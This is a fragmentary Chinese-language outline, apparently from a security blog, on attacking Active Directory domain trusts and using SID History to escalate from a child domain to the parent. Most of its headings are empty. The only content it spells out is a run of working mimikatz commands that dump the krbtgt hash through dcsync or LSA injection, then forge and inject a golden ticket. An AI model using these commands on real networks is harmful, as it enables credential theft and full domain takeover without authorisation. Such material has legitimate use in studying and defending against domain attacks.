我不管这个世上的人怎么说我，我只想依照我的信念做事，绝不后悔，不管现在将来都一样！

1、利用域信任密钥获取目标域权限

2、跨子域攻击父域（Sid History)

0x00 前言

# 获取域名称&SID值
net time /domain
whoami /user
# 获取krbtgt账户hash密码(dcsync需要域管权限、lsadump域管主机权限或者域管登录过)
mimikatz # lsadump::dcsync /user:domainkrbtgt
or
mimikatz # lsadump::lsa /user:krbtgt /inject
# 使用mimikatz制作金票并导入使用
mimikatz # kerberos::golden /admin:username /domain:domain /sid:sid /krbtgt:NTLM Hash
mimikatz # kerberos::ptt ticket.kirbi

0x01 枚举域信任

0x02 环境准备

0x03 超级黄金票据（Sid History）

1、域名称（GET-ADDomain）
2、域的SID值（GET-ADDomainSID）
3、域的KRBTGT账户的hash（mimitakz）
4、伪造用户名（administrator）
5、根域EA组的ObjectID（Convert-NameToSid）

1、在子域的域控中使用 mimikatz 获取需要的信息

2、SID介绍

3、使用mimikatz完成攻击

4、深度利用

儒道易行安全攻防交流3群